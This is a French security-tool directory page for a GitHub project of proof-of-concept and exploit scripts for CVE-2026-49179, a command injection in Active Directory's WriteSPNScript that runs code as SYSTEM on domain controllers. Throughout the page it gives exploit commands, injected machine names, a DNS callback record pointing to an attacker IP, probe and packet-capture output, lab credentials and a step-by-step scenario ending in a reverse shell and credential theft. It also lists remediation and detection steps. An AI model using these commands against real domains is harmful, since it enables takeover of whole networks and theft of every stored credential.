Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-49179-Active-Directory-WriteSPNScript-Command-Injection — Preuves de concept et scripts d'exploitation pour CVE-2026-49179, une injection de commande dans la fonction WriteSPNScript d'Active Directory permettant une RCE SYSTEM sur les contrôleurs de domaine. | Kitploit
Outils/GitHubGitHub/overgrowncarrot1/cve-2026-49179-active-directory-writespnscript-command-injection
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationTests d'Intrusion
GitHubovergrowncarrot1/cve-2026-49179-active-directory-writespnscript-command-injection

CVE-2026-49179-Active-Directory-WriteSPNScript-Command-Injection

Preuves de concept et scripts d'exploitation pour CVE-2026-49179, une injection de commande dans la fonction WriteSPNScript d'Active Directory permettant une RCE SYSTEM sur les contrôleurs de domaine.

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
il y a 6h 38mPas encore vérifié

CVE-2026-49179 : Injection de commande dans WriteSPNScript d'Active Directory

Résumé

ChampValeur
ID CVECVE-2026-49179
CVSS8.8 (AV:N/AC:L/PR:L/UI:N)
CWECWE-77 (Injection de commande)
Composant affecténtdsai.dll — fonction WriteSPNScript
Systèmes affectésWindows Server 2016, 2019, 2022, 2025 (avant correctif)
Vecteur d'attaqueUtilisateur de domaine authentifié (quelconque)
ImpactExécution de code à distance en tant que SYSTEM sur le contrôleur de domaine
PubliéAoût 2026

Description de la vulnérabilité

La fonction WriteSPNScript dans ntdsai.dll génère des commandes de script batch pour la remédiation des SPN (Service Principal Name) lors des opérations de maintenance d'Active Directory. La fonction utilise une chaîne de format pour construire les commandes repadmin.exe /writespn mais ne parvient pas à assainir le paramètre Distinguished Name (DN), permettant une injection de commande via le caractère & (séparateur de commandes cmd.exe).

La chaîne de format vulnérable :

root@kitploit:~
%ws\repadmin.exe /writespn %ws %ws %ws\r\n

Paramètres : SystemDir, WriteOp (ADD/DELETE), DN, SPN_value

Le DN est dérivé du Common Name (CN) du compte machine, qui est défini lors de la création du compte. Lorsqu'un compte machine est créé avec des métacaractères de shell dans son nom, ces caractères sont transmis sans échappement dans le script généré. Lorsque cmd.exe exécute le script, & agit comme un séparateur de commandes, exécutant des commandes contrôlées par l'attaquant en tant que SYSTEM.

Analyse de la cause racine

La faille de validation : SAMR vs LDAP

Active Directory dispose de deux protocoles principaux pour gérer les comptes machine :

Cette asymétrie de validation est la cause racine :

  • La validation LDAP des SPN bloque tous les caractères dangereux dans les valeurs SPN (impasse pour l'injection via SPN)
  • La création de compte SAMR autorise les métacaractères de shell dans sAMAccountName, qui devient le CN et se propage dans le DN
  • Le DN est transmis à WriteSPNScript sans assainissement

Code vulnérable (ntdsai.dll de base)

À l'adresse 0x1802a98a0 dans le binaire non corrigé :

root@kitploit:~
void WriteSPNScript(... longlong param_4 /* DN */, longlong *param_5 /* SPNs */, ...)
{
    STRSAFE_LPSTR pszDest;  // ANSI output buffer
    char local_288[47];     // Format: "%ws\repadmin.exe /writespn %ws %ws %ws\r\n"
    WCHAR local_258[264];   // System directory

    GetSystemDirectoryW(local_258, 0x104);

    // Calculate buffer size (sum of all string lengths + overhead)
    uVar4 = len(sysdir) + len(writeop) + len(spn_value) + len(dn) + 0x2f;

    // Allocate and format — NO ESCAPING of DN or SPN parameters
    pszDest = THAlloc_(param_1, 1, uVar4, 1);
    StringCchPrintfA(pszDest, uVar4, local_288, local_258);

    // Write to script file handle
    WriteFile(handle, pszDest, len, &bytesWritten, NULL);
}

StringCchPrintfA formate le DN directement dans le tampon de sortie. Aucun échappement, aucun guillemet, aucun assainissement.

Sortie générée (vulnérable)

Pour une machine avec CN=A&ping attacker&B :

root@kitploit:~
C:\Windows\System32\repadmin.exe /writespn ADD CN=A&ping attacker&B,CN=Computers,DC=domain,DC=local HOST/A&ping attacker&B

cmd.exe interprète cela comme cinq instructions distinctes :

La commande injectée apparaît deux fois — une fois depuis le paramètre DN et une fois depuis le paramètre SPN (qui contient également le nom de la machine).

Analyse du correctif

La fonction WriteSPNScript corrigée (taille : 1477 → 2005 octets) apporte trois changements :

1. Ajout de fonctions d'échappement

Deux nouvelles fonctions d'assainissement appliquées à la fois aux paramètres DN et SPN :

  • EscapeForPowerShellSingleQuote() — échappe ' pour empêcher l'évasion des chaînes entre guillemets simples
  • EscapeForNativeArgvBackslashesBeforeDoubleQuote() — échappe les séquences \ avant " pour l'analyse native d'argv

2. Changement du format de sortie

3. Suppression du feature flag

Une révision antérieure comportait un feature flag Feature_Servicing_SPN_alias_WRITE_PROP_check_37148918__private_IsEnabled conditionnant le correctif. Dans le correctif final, ce flag a été supprimé — le correctif est toujours actif et ne peut pas être désactivé.

Preuve de concept

Environnement de test

Étape 1 : Confirmer que SAMR accepte les métacaractères de shell

À l'aide de spn_probe3.py, test des caractères que SAMR accepte dans les noms de comptes machine par rapport à ce que LDAP accepte dans les valeurs SPN :

root@kitploit:~
SAMR Machine Name Character Test (as samwell.tarly):
  [+] ACCEPTED  '   (single quote)     -> INJECT'A$  RID: 1123
  [+] ACCEPTED  `   (backtick)         -> INJECT`A$  RID: 1124
  [+] ACCEPTED  &   (ampersand)        -> INJECT&A$  RID: 1125
  [+] ACCEPTED  $   (dollar sign)      -> INJECT$A$  RID: 1126
  [+] ACCEPTED  (   (left paren)       -> INJECT(A$  RID: 1127
  [+] ACCEPTED  )   (right paren)      -> INJECT)A$  RID: 1128
  [+] ACCEPTED  !   (exclamation)      -> INJECT!A$  RID: 1129
  [+] ACCEPTED  ' ' (space)            -> INJECT A$  RID: 1130

LDAP SPN Validation (all 28 shell metacharacters tested):
  [-] ALL REJECTED with constraintViolation (DSID-033E109C)

Constat clé : SAMR autorise les 8 métacaractères de shell testés. LDAP les bloque tous. Le vecteur d'injection passe par les noms de machine créés via SAMR, et non par les valeurs SPN.

Étape 2 : Créer une machine d'injection en tant qu'utilisateur de domaine normal

root@kitploit:~
$ python3 spn_prl_exploit.py 192.168.56.11 \
    -d north.sevenkingdoms.local \
    -u samwell.tarly -p Heartsbane --payload benign

[*] Creating machine via SAMR: 'A&echo POC&B$'
[+] Created A&echo POC&B$, RID: 1137

Également créé en tant que samwell.tarly :

root@kitploit:~
[+] Created C&ping a&D$, RID: 1138

Confirmé : un utilisateur de domaine normal (PR:L) peut créer des comptes machine avec une injection de commande & dans le nom.

Étape 3 : Ajouter un enregistrement DNS pour le callback (en tant qu'utilisateur normal)

Les utilisateurs de domaine normaux peuvent ajouter des enregistrements ADIDNS. Utilisation de dnstool.py pour créer un nom d'hôte court pointant vers l'attaquant :

root@kitploit:~
python3 dnstool.py -u 'north.sevenkingdoms.local\samwell.tarly' -p 'Heartsbane' \
    -r a.north.sevenkingdoms.local -a add -d 192.168.14.238 192.168.56.11

Résolution vérifiée sur le DC :

root@kitploit:~
*Evil-WinRM* PS> nslookup a.north.sevenkingdoms.local
Name:    a.north.sevenkingdoms.local
Address:  192.168.14.238

Étape 4 : Vérifier l'injection de commande sur le DC

Simulation de la sortie exacte que WriteSPNScript générerait, exécutée sur le DC :

Preuve d'écriture de fichier :

root@kitploit:~
*Evil-WinRM* PS> cmd /c "C:\Windows\System32\repadmin.exe /writespn ADD CN=X&echo INJECTED > C:\Windows\Temp\proof.txt&Y,CN=Computers,DC=north,DC=sevenkingdoms,DC=local HOST/test"

*Evil-WinRM* PS> type C:\Windows\Temp\proof.txt
INJECTED

Preuve de callback ICMP :

root@kitploit:~
*Evil-WinRM* PS> cmd /c "C:\Windows\System32\repadmin.exe /writespn ADD CN=X&ping -n 3 192.168.14.238&Y,CN=Computers,DC=north,DC=sevenkingdoms,DC=local HOST/test"

Pinging 192.168.14.238 with 32 bytes of data:
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127

Le tcpdump de l'attaquant a confirmé l'arrivée des ICMP :

root@kitploit:~
02:36:10.815690 eth1 In  IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 10
02:36:10.815724 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 10
02:36:11.820112 eth1 In  IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 11
02:36:11.820127 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 11
02:36:12.834677 eth1 In  IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 12
02:36:12.834693 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 12

L'écriture de fichier et le callback ICMP confirment tous deux l'injection de commande via le DN.

Ce qui a été prouvé

Obstacles et limitations

1. Limite de longueur du sAMAccountName (~15 caractères)

Le sAMAccountName d'un compte machine est limité à environ 15 caractères avant le $ final (contrainte de compatibilité NetBIOS). Cela restreint sévèrement la complexité des payloads.

Impact : Impossible d'intégrer des adresses IP, des commandes longues ou des payloads complexes directement dans le nom de machine.

Contournement : Utiliser des noms d'hôtes DNS courts pour les callbacks (par exemple, un a d'un seul caractère résolvant vers l'IP de l'attaquant). Les payloads doivent être concis :

  • A&ping a&B (11 caractères) — callback ICMP
  • A&echo X&B (11 caractères) — preuve d'exécution
  • A&calc&B (8 caractères) — preuve GUI sur le DC
  • A&whoami&B (11 caractères) — confirmation du contexte

2. SAMR rejette certains caractères

Bien que SAMR accepte les métacaractères de shell (& ' \ $ ( ) ! espace`), il rejette les caractères nécessaires aux chemins de fichiers et aux adresses réseau :

Impact : Impossible d'utiliser des adresses IP, des chemins de fichiers ou des URL directement dans les payloads.

Contournement :

  • Créer des enregistrements ADIDNS courts pointant vers l'attaquant (les utilisateurs de domaine normaux peuvent le faire)
  • Utiliser des variables d'environnement (%TEMP%, %SYSTEMROOT%) — bien que l'acceptation de % ne soit pas confirmée
  • Utiliser un adressage basé sur le nom d'hôte au lieu des IP

3. Le déclenchement de WriteSPNScript n'est pas immédiat

WriteSPNScript génère un fichier de script via WriteFile — il n'exécute pas les commandes directement. Le script généré doit être exécuté par un processus ultérieur. La fonction est appelée lors de :

  • dcdiag /fix — un administrateur exécute l'outil de diagnostic/réparation
  • Réplication AD — conflits de SPN traités entre DC
  • FixupSPNsOnComputerObject — correction des SPN lors de modifications d'attributs
  • Outils d'audit SPN — scripts de maintenance tiers ou intégrés

Impact : L'injection est préparée immédiatement (création de la machine), mais l'exécution dépend d'un événement déclencheur sur le DC. Dans un environnement à DC unique sans partenaire de réplication, le déclencheur peut nécessiter une activité d'administrateur (par exemple, exécuter dcdiag /fix).

Dans les environnements de production : Les déploiements multi-DC ont des cycles de réplication réguliers. Les incohérences de SPN découvertes lors de la réplication déclencheraient automatiquement WriteSPNScript dans le cadre de la résolution des conflits.

4. Quota de comptes machine

Le ms-DS-MachineAccountQuota par défaut est de 10 par utilisateur. Chaque tentative d'injection consomme un emplacement. Les comptes machine avec des caractères spéciaux dans leur nom sont difficiles à supprimer via les outils standards.

Impact : Tentatives limitées par compte utilisateur. Les tentatives échouées gaspillent le quota.

Contournement : Chaque utilisateur de domaine dispose de son propre quota. Dans les environnements avec de nombreux utilisateurs, un attaquant pourrait utiliser plusieurs comptes.

5. Difficulté de nettoyage

Les comptes machine créés avec &, $, (, ) dans leur nom ne peuvent pas être facilement supprimés via les outils de gestion AD standards (ADUC, PowerShell Remove-ADComputer) car les caractères spéciaux interfèrent avec l'analyse des commandes. Cela laisse des artefacts forensiques.

6. L'approche par renommage nécessite des droits admin

Un chemin d'exploitation alternatif — créer une machine au nom propre, définir des SPN valides, puis renommer pour injecter le DN — a été testé mais l'opération LDAP ModifyDN (renommage) nécessite des privilèges élevés :

root@kitploit:~
samwell.tarly: [-] Rename failed: insufficientAccessRights
robb.stark:    [+] Rename succeeded (domain admin)

Impact : La stratégie de renommage n'est pas viable pour PR:L. La création directe via SAMR avec des caractères d'injection est le chemin PR:L.

Impact

Chaîne d'élévation de privilèges

  1. Un utilisateur de domaine normal crée un compte machine avec &<commande>& dans le nom via SAMR
  2. Une opération de maintenance AD déclenche WriteSPNScript qui génère une commande repadmin.exe non échappée
  3. La commande injectée s'exécute en tant que NT AUTHORITY\SYSTEM sur le contrôleur de domaine
  4. Depuis SYSTEM sur le DC, l'attaquant dispose d'une compromission totale du domaine :
    • Extraction de tous les identifiants (ntds.dit / DCSync)
    • Création de comptes administrateur de domaine
    • Modification de la stratégie de groupe pour la persistance
    • Compromission de toute la forêt AD

Scénario d'attaque réaliste

root@kitploit:~
Jour 1 : L'attaquant (tout utilisateur de domaine) exécute l'exploit
  - Crée la machine "A&ping a&B$" via SAMR
  - Ajoute un enregistrement DNS "a" pointant vers son serveur C2
  - L'injection est préparée — l'attaquant attend

Jour N : L'admin exécute dcdiag /fix (maintenance de routine)
  - WriteSPNScript traite le compte machine malveillant
  - Génère la commande repadmin avec le DN non échappé
  - cmd.exe exécute "ping a" en tant que SYSTEM → confirme le callback
  
Jour N : L'attaquant met à niveau le payload
  - Crée une nouvelle machine avec un payload de reverse shell
  - Attend le prochain cycle de maintenance ou événement de réplication
  - Shell SYSTEM sur le DC → compromission totale du domaine

Remédiation

  1. Appliquer la mise à jour de sécurité du Patch Tuesday d'août 2026 de Microsoft

  2. Auditer les comptes machine pour détecter les caractères inhabituels :

    root@kitploit:~
    Get-ADComputer -Filter * -Properties sAMAccountName |
      Where-Object { $_.sAMAccountName -match '[&\x27`$()! ]' } |
      Select-Object Name, sAMAccountName, Created, DistinguishedName
    
  3. Définir ms-DS-MachineAccountQuota à 0 pour empêcher les utilisateurs normaux de créer des comptes machine :

    root@kitploit:~
    Set-ADDomain -Identity "domain.local" -Replace @{"ms-DS-MachineAccountQuota"=0}
    
  4. Surveiller l'Event ID 4741 (création de compte ordinateur) pour détecter les caractères inhabituels dans les noms de comptes

  5. Restreindre la création d'enregistrements ADIDNS si elle n'est pas nécessaire pour les utilisateurs normaux

Fichiers

Références

  • Microsoft Security Advisory — CVE-2026-49179
  • MITRE CVE Entry
  • CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
Télécharger l’outil
ProtocoleValidation des caractèresMétacaractères de shell
LDAP (valeurs SPN)Stricte — CONSTRAINT_ATT_TYPE rejette & ; | ' \ $ ( )`Bloqués
SAMR (noms de machine)Souple — valide le format de base du nom de compteAutorisés : & ' \ $ ( ) ! espace`
#InstructionRésultat
1C:\...\repadmin.exe /writespn ADD CN=AÉchoue (DN tronqué)
2ping attackerINJECTÉ — s'exécute en tant que SYSTEM
3B,CN=Computers,DC=... HOST/AÉchoue (commande invalide)
4ping attackerINJECTÉ — s'exécute à nouveau (depuis le paramètre SPN)
5BÉchoue (commande invalide)
Base (vulnérable)Corrigé
FonctionStringCchPrintfA (ANSI)StringCchPrintfW (Large/Unicode)
GuillemetsAucunParamètres entre guillemets simples
Sortierepadmin /writespn ADD DN SPNrepadmin /writespn ADD 'escaped_DN' 'escaped_SPN'
HôteRôleIPOS
WINTERFELLContrôleur de domaine192.168.56.11Windows Server 2019
AttaquantKali Linux192.168.14.238Kali 2026
Domainenorth.sevenkingdoms.local
Utilisateur à faibles privilègessamwell.tarly / HeartsbaneUtilisateur de domaine normal
Utilisateur adminrobb.stark / sexywolfyAdministrateur de domaine
ÉtapeActionActeurRésultat
1SAMR accepte & dans les noms de machinesamwell.tarly (PR:L)RID 1125, 1137, 1138
2LDAP rejette & dans les valeurs SPNsamwell.tarly100 % de rejet
3Création d'enregistrement DNS pour le callbacksamwell.tarly (PR:L)a → 192.168.14.238
4Compte machine avec CN d'injectionsamwell.tarly (PR:L)A&echo POC&B$, C&ping a&D$
5Écriture de fichier via injection cmdDC (WriteSPNScript simulé)proof.txt = "INJECTED"
6Callback ICMP via injection cmdDC (WriteSPNScript simulé)3 pings reçus
RejetéCas d'usage bloqué
. (point)Adresses IP (192.168.1.1), FQDN
\ (barre oblique inverse)Chemins Windows (C:\Windows\...)
/ (barre oblique)Chemins URL, chemins Unix
: (deux-points)Lettres de lecteur (C:), numéros de port
" (guillemet double)Guillemets/échappement dans les payloads
< > | ; , = + * ?Redirection, piping, jokers
FichierDescription
poc/spn_probe.pyTeste les 28 métacaractères de shell dans les valeurs SPN LDAP
poc/spn_probe2.pyTeste le contournement par homoglyphes/pleine largeur Unicode + transport DRSUAPI
poc/spn_probe3.pyTeste l'acceptation des caractères SAMR vs LDAP vs DRSUAPI
poc/spn_exploit.pyExploit via la stratégie de renommage (créer → SPN → renommer → injecter)
poc/spn_prl_exploit.pyExploit PR:L (création directe via SAMR + déclencheur dNSHostName optionnel)
nspi_diff_analysis.txtDiff binaire complet de ntdsai.dll (base vs corrigé)